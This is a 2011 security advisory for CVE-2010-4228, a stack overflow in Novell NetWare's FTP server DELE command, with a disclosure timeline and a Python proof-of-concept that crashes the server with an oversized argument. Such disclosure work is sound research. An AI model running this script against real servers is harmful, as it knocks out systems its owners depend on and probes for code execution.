|
#####################################################################################
Application: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability
Platforms: Novell Netware 6.5 SP8
Exploitation: Remote code execution
CVE Number: CVE-2010-4228
Novell TID: 5089510
ZDI: ZDI-11-106
{PRL}: 2011-05
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
#####################################################################################
1) Introduction
2) Timeline
3) Technical details
4) PoC
#####################################################################################
===============
1) Introduction
===============
Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.
Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.
(http://en.wikipedia.org/wiki/Novell)
#####################################################################################
============================
2) Timeline
============================
2010-09-22 - Vulnerability reported to vendor
2011-03-18 - Coordinated public release of advisory
#####################################################################################
============================
3) Technical details
============================
This vulnerability allows remote attackers to execute arbitrary code on vulnerable
installations of Novell Netware. Authentication is required to exploit this vulnerability.
The flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command
the application copies user supplied data to a fixed length stack buffer.
A remote attacker can exploit this vulnerability to execute arbitrary code under the
context of the super user.
#####################################################################################
===========
4) The Code
===========
#!/usr/bin/python
import socket, sys
# Source:
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25
host = (sys.argv[1])
data = "\x44\x45\x4c\x45\x20\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x3f\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x45\x45\x45\x45\x45\x45\x46\x46\x46\x46\x47\x47\x47\x47\x48\x48\x44\x43\x42\x41\x0d\x0a"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, 21))
d=s.recv(1024)
print (d)
s.send("USER toto\r\n") #anonymous login so anything goes
d=s.recv(1024)
print (d)
s.send("PASS toto\r\n")
d=s.recv(1024)
print (d)
s.send(data)
d=s.recv(1024)
print (d)
s.close()
try:
s.connect((host,21))
except:
print ("\r\n[i] Beep Beep, take a look to your Abend log file.")
except:
print ("[i] Error")
#####################################################################################
|